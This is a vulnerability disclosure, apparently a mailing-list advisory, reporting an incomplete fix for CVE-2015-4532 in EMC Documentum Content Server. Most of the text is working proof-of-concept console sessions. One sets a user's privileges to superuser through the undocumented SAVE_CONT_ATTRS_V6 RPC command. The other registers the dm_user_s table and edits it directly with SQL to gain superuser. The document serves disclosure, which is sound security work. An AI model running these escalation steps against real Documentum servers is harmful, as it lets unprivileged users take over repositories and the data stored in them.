Privilege escalation through RPC commands in EMC Documentum Content Server (incomplete fix in CVE-2015-4532)

Product: EMC Documentum Content Server
Vendor: EMC
Version: ANY
CVE: N/A
Risk: High
Status: public/not fixed

For detailed description see attached VRF#HUFG9EBA.txt and VRF#HX5OLZ0F.txt, for vendor announcement see CVE-2015-4532 in http://seclists.org/bugtraq/2015/Aug/86. The problem is PoC code provided in VRF#HUFG9EBA.txt and VRF#HX5OLZ0F.txt misses two obvious points:

1. Content Server supports about 400 undocumented RPC commands, but PoC code covers only 33 of them, for example, all versions of EMC Documentum Content Server support SAVE_CONT_ATTRS_V6 RPC command, this RPC command has the same behaviour as SAVE_CONT_ATTRS from VRF#HUFG9EBA.txt and hence it is vulnerable:

API> retrieve,c,dm_user where user_name=USER
…
11024be980000900
API> get,c,l,user_privileges
…
0
API> get,c,l,i_vstamp
…
1
API> apply,c,11024be980000900,SAVE_CONT_ATTRS_V6,
OBJECT_TYPE,S,dm_user,IS_NEW_OBJECT,B,F,
i_vstamp,I,1,user_privileges,I,16
…
q0
API> ?,c,q0
RESULT

      1

API> revert,c,l,
…
OK
API> get,c,l,user_privileges
…
16

2. Creating malicious user with superuser privileges or malicious docbase method is not the only option to escalate privileges, demonstration:

–
– acquiring r_object_id for brand new
– dm_registered object

API> apply,c,NEXT_ID_LIST,TAG,I,25,HOW_MANY,I,1
…
q0
API> ?,c,q0
next_id

19024be98001fd0b
(1 row affected)

–
– Creating brand new dm_registered object

API> apply,c,19024be98001fd0b,SysObjSave,
OBJECT_TYPE,S,dm_registered,
IS_NEW_OBJECT,B,T,
i_vstamp,I,0,
table_name,S,dm_user_s,
table_owner,S,repo,
owner_name,S,repo,
world_permit,I,7,
object_name,S,dm_user_s,
owner_table_permit,I,15,
group_table_permit,I,15,
world_table_permit,I,15,
r_object_type,S,dm_registered
…
q0
API> ?,c,q0
result

      1

(1 row affected)

–
– Now attacker is able to modify database tables

API> ?,c,select count() from dm_dbo.dm_user_s
count()

             7930

(1 row affected)

API> ?,c,update dm_dbo.dm_user_s set user_privileges=16
where user_name=USER
rows_updated

      1

(1 row affected)

API> ?,c,select user_privileges from dm_dbo.dm_user_s
where user_name=USER
user_privileges

        16

(1 row affected)

__
Regards,
Andrey B. Panfilov